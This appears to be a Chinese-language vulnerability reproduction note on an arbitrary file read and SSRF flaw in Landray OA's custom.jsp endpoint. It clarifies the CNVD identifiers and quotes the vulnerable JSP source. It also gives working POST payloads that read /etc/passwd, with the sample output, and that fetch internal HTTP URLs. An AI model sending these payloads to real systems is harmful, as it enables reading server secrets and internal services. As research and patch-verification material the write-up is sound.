漏洞编号
我看网上不少任意文件读取复现都写的是 CNVD-2021-28277,但蓝凌安全中心公告里的对应关系是:
CNVD-2021-37311
问题:获取敏感信息,读取配置文件登录后台
安全补丁:#136341
修复:任意文件读取漏洞
反倒是 CNVD-2021-37311 和官方公告里写的都是任意文件读取。CNVD-2021-28277 对应的是任意用户密码重置和 ObjectXML 反序列化问题,不是这个入口。
请求
入口:
/sys/ui/extend/varkind/custom.jsp

读取 /etc/passwd:
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Connection: close
var={"body":{"file":"file:///etc/passwd"}}
响应正文直接返回文件内容:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin

file:///root/ 返回目录条目,说明该入口不只读取普通文件。

JSP
通过同一入口读取到的 custom.jsp 核心代码:
<%@page import="net.sf.json.JSONObject"%>
<%@ page language="java" pageEncoding="UTF-8"%>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>
<%
JSONObject vara = JSONObject.fromObject(request.getParameter("var"));
JSONObject body = JSONObject.fromObject(vara.get("body"));
%>
<c:import url='<%=body.getString("file") %>'>
<c:param name="var" value="${ param['var'] }"></c:param>
</c:import>
body.file 没有经过协议和路径限制,直接进了 JSTL c:import 的 url 属性。
看了下文档,c:import 支持绝对 URL。把 file 换成测试 HTTP 地址后,服务器会发起请求并把响应内容返回,所以感觉这个叫 SSRF 也合适:
var={"body":{"file":"http://127.0.0.1:8080/health"}}
参考
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。